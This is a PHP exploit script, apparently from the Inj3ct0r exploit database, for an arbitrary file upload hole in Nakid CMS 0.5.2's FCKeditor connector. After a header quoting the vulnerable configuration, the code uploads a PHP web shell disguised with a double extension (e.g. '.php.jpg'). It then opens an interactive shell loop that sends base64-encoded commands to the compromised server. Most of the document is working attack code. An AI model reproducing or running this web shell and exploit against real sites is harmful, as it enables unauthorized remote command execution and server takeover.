<?php

/*

 -----------------------------------------------------------------

 Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit

 -----------------------------------------------------------------



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 0     _                   __           __       __                     1

 1   /' \            __  /'__`\        /\ \__  /'__`\                   0

 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1

 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0

 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1

 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0

 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1

 1                  \ \____/ >> Exploit database separated by exploit   0

 0                   \/___/          type (local, remote, DoS, etc.)    1

 1                                                                      1

 0  [+] Site            : Inj3ct0r.com                                  0

 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1

 0                                                                      0

 1                    ########################################          1

 0                    I'm eidelweiss member from Inj3ct0r Team          1

 1                    ########################################          0

 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1



 Developers: www.nakid.org

 Download : 
https://sourceforge.net/projects/nakidcms/files/Nakid%20CMS%20v_0_5_2.rar/download

 Version:   0.5.2

 exploited by ..: eidelweiss

 

 details..: works with an Apache server with the mod_mime module installed (if 
specific)

  

 [-] vulnerable code in 
path/includes/js/fckeditor/editor/filemanager/connectors/php/config.php

     

    [*] // SECURITY: You must explicitly enable this "connector". (Set it to 
"true").

    [*] 

    [*] $Config['Enabled'] = true ;

    [*]

    [*] // Path to user files relative to the document root.

    [*] $Config['UserFilesPath'] = '/nakid_uploads/' ;

    [*] //$Config['UserFilesPath'] = '/userfiles/' ;

    [*]

    [*] // Fill the following value it you prefer to specify the absolute path 
for the

    [*] // user files directory. Usefull if you are using a virtual directory, 
symbolic

    [*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or 
'/root/mysite/UserFiles/'.

    [*] // Attention: The above 'UserFilesPath' must point to the same 
directory.

    [*] 

    [*] // What the user can do with this connector.

    [*] $Config['ConfigAllowedCommands'] = array('QuickUpload', 'FileUpload', 
'GetFolders', 'GetFoldersAndFiles', 'CreateFolder') ;

    [*]

    [*] $Config['AllowedExtensions']['File']    = array('7z', 'aiff', 'asf', 
'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]

    [*] $Config['DeniedExtensions']['File']     = array() ;

    [*]

    [*] $Config['AllowedExtensions']['Image']   = 
array('bmp','gif','jpeg','jpg','png') ;

    [*] $Config['DeniedExtensions']['Image']    = array() ;

    [*]

    [*] $Config['AllowedExtensions']['Flash']   = array('swf','flv') ;

    [*] $Config['DeniedExtensions']['Flash']    = array() ;

    [*]

    [*] $Config['AllowedExtensions']['Media']   = array('aiff', 'asf', 'avi', 
'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 
'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 
'wav', 'wma', 'wmv') ;

    [*] $Config['DeniedExtensions']['Media']    = array() ;

     

    with a default configuration of this script, an attacker might be able to 
upload arbitrary

    files containing malicious PHP code due to multiple file extensions isn't 
properly checked

*/

 

*/

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

 $sock = fsockopen($host, 80);

 while (!$sock)

 {

  print "\n[-] No response from {$host}:80 Trying again...";

  $sock = fsockopen($host, 80);

 }

 fputs($sock, $packet);

 while (!feof($sock)) $resp .= fread($sock, 1024);

 fclose($sock);

 return $resp;

}

function upload()

{

 global $host, $path;

  

 $connector = 
"/includes/js/fckeditor/editor/filemanager/connectors/php/config.php";

 $file_ext  = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");

  

 foreach ($file_ext as $ext)

 {

  print "\n[-] Trying to upload with .{$ext} extension...";

   

  $data  = "--abcdef\r\n";

  $data .= "Content-Disposition: form-data; name=\"NewFile\"; 
filename=\"0k.php.{$ext}\"\r\n";

  $data .= "Content-Type: application/octet-stream\r\n\r\n";

  $data .= "<?php 
\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}
 ?>\r\n";

  $data .= "--abcdef--\r\n";

   

  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} 
HTTP/1.0\r\n";

  $packet .= "Host: {$host}\r\n";

  $packet .= "Content-Length: ".strlen($data)."\r\n";

  $packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";

  $packet .= "Connection: close\r\n\r\n";

  $packet .= $data;

   

  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), 
$html);

   

  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! 
(Error {$html[1]}: {$html[2]})\n");

   

  $packet  = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";

  $packet .= "Host: {$host}\r\n";

  $packet .= "Connection: close\r\n\r\n";

  $html    = http_send($host, $packet);

   

  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;

   

  sleep(1);

 }

  

 return false;

}

print 
"\n+--------------------------------------------------------------------------+";

print "\n| Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit by 
eidelweiss |";

print 
"\n+--------------------------------------------------------------------------+\n";

if ($argc < 3)

{

 print "\nUsage......: php $argv[0] host path\n";

 print "\nExample....: php $argv[0] localhost /";

 print "\nExample....: php $argv[0] localhost /Nakid/\n";

 die();

}

$host = $argv[1];

$path = $argv[2];

if (!($ext = upload())) die("\n\n[-] Exploit failed You are not lucky...\n");

else print "\n[-] Shell uploaded in progress...!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)

{

 print "\Nakid-shell# ";

 $cmd = trim(fgets(STDIN));

 if ($cmd != "exit")

 {

  $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";

  $packet.= "Host: {$host}\r\n";

  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";

  $packet.= "Connection: close\r\n\r\n";

  $html   = http_send($host, $packet);

  if (!eregi("_code_", $html)) die("\n[-] Exploit failed You are not 
lucky...\n");

  $shell = explode("_code_", $html);

  print "\n{$shell[1]}";

 }

 else break;

}

?>

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